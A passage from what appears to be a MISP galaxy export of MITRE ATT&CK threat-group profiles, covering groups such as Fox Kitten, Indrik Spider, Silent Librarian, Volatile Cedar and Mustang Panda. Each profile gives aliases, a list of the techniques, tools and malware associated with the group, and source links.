- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BloodHound - S0521" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="dsquery - S0105" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 5016. Table References

Links
https://attack.mitre.org/groups/G0116
https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf

Fox Kitten - G0117

[Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE)(Citation: ClearSky Pay2Kitten December 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Fox Kitten - G0117"*

Fox Kitten - G0117 is also known as:

- Fox Kitten
- UNC757
- PIONEER KITTEN
- Parisite

View relationships graph

Fox Kitten - G0117 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Pay2Key - S0556" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ngrok - S0508" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Establish Accounts - T1585" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5017. Table References

Links
https://attack.mitre.org/groups/G0117
https://us-cert.cisa.gov/ncas/alerts/aa20-259a
https://www.clearskysec.com/fox-kitten/
https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf
https://www.crowdstrike.com/blog/who-is-pioneer-kitten/
https://www.dragos.com/threat/parisite/

Indrik Spider - G0119

[Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that as been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Indrik Spider - G0119"*

Indrik Spider - G0119 is also known as:

- Indrik Spider
- Evil Corp

View relationships graph

Indrik Spider - G0119 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WastedLocker - S0612" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Donut - S0695" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Dridex - S0384" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BitPaymer - S0570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5018. Table References

Links
https://attack.mitre.org/groups/G0119
https://home.treasury.gov/news/press-releases/sm845
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/
https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/

Silent Librarian - G0122

[Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Silent Librarian - G0122"*

Silent Librarian - G0122 is also known as:

- Silent Librarian
- TA407
- COBALT DICKENS

View relationships graph

Silent Librarian - G0122 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Link Target - T1608.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 5019. Table References

Links
https://attack.mitre.org/groups/G0122
https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment
https://www.justice.gov/usao-sdny/press-release/file/1045781/download
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities
https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again

Volatile Cedar - G0123

[Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan

2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Volatile Cedar - G0123"*

Volatile Cedar - G0123 is also known as:

- Volatile Cedar
- Lebanese Cedar

View relationships graph

Volatile Cedar - G0123 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Explosive - S0569" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Caterpillar WebShell - S0572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Wordlist Scanning - T1595.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5020. Table References

Links
https://attack.mitre.org/groups/G0123
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

Mustang Panda - G0129

[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Mustang Panda - G0129"*

Mustang Panda - G0129 is also known as:

- Mustang Panda
- TA416
- RedDelta
- BRONZE PRESIDENT

View relationships graph

Mustang Panda - G0129 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RCSession - S0662" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5021. Table References

Links
https://attack.mitre.org/groups/G0129
https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf
https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/
https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european
https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader

https://www.secureworks.com/research/bronze-president-targets-ngos

Nomadic Octopus - G0133

[Nomadic Octopus](https://attack.mitre.org/groups/G0133) is a Russian-speaking cyberespionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Nomadic Octopus - G0133"*

